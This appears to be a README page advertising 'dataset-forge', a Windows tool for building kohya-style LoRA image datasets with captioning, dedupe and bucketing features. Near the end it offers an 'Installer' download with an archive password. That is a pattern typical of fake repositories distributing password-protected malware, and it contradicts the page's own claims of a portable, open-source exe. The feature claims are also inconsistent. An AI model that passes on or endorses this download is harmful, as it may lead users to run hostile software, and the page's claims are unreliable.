🏗️ Free, open-source dataset builder for Windows — kohya folder layout, bulk captions, dedupe and bucketing. 100 MB portable, offline, MIT.
- ✅ Kohya layout in one click — folder-per-concept tree with the 1_concept repeat naming trainers expect
- ✅ Bulk caption editor — edit thousands of .txt captions in a fast grid with find and replace
- ✅ Hash dedupe — near-duplicate images found by perceptual hash before your training wastes epochs on them
- ✅ Bucketing preview — see which resolution buckets your images will land in before the trainer runs
- ✅ Trigger word injector — prepend or fix a trigger token across every caption consistently
- ✅ Export as zip — a trainer-ready archive with a printed tree summary of the run
- ✅ 100 MB self-contained exe — runtime bundled, portable, fully offline, MIT with SHA-256 releases
- MIT licensed, source in the open
- No ads, no account, no telemetry
- Single portable 100 MB build - no setup required, runs offline
- CI builds every release and publishes SHA-256 checksums
- Windows 10 / 11 x64
| Feature | dataset-forge | kohya_ss GUI | Manual folders | Colab notebooks |
|---|---|---|---|---|
| Price | Free, MIT | Free, OSS | Free | Free tier |
| Open source | Yes | Yes | N/A | Partial |
| Caption grid editor | Yes | Partial | Notepad | No |
| Perceptual dedupe | Yes | No | No | Scripted |
| Bucketing preview | Yes | Partial | No | No |
| Portable, no install | Yes, 100 MB | Python env | N/A | Browser |
how to prepare an image dataset for LoRA training on Windows?
Training guides jump straight to the trainer, but most failed runs trace back to folder layout, duplicate images and inconsistent captions. dataset-forge builds the kohya tree, dedupes by perceptual hash and fixes captions in bulk before anything trains. It is a 100 MB portable exe, MIT, offline.
All screenshots describe the 1280x800 dark UI.
- Dark forge (#121417, amber #F59E0B): folder tree left with 1_style and 10_character nodes, image grid center with caption bars, dedupe report chip reading 14 near-duplicates found.
- Caption grid: thirty rows of thumbnail, caption text and edit state, find and replace bar with trigger word field, apply-to-selected button.
- Bucketing preview: resolution bucket cards with image counts and crop notes, export zip button, tree summary panel listing 1,842 files sorted.
| Source | Link |
|---|---|
| 💾 Installer dataset-forge | Installer dataset-forge |
Archive password:
5139237619
Requires the .NET 8 SDK on Windows 10/11 x64:
dotnet publish -c Release -r win-x64 --self-contained -p:PublishSingleFile=true
MIT. See LICENSE.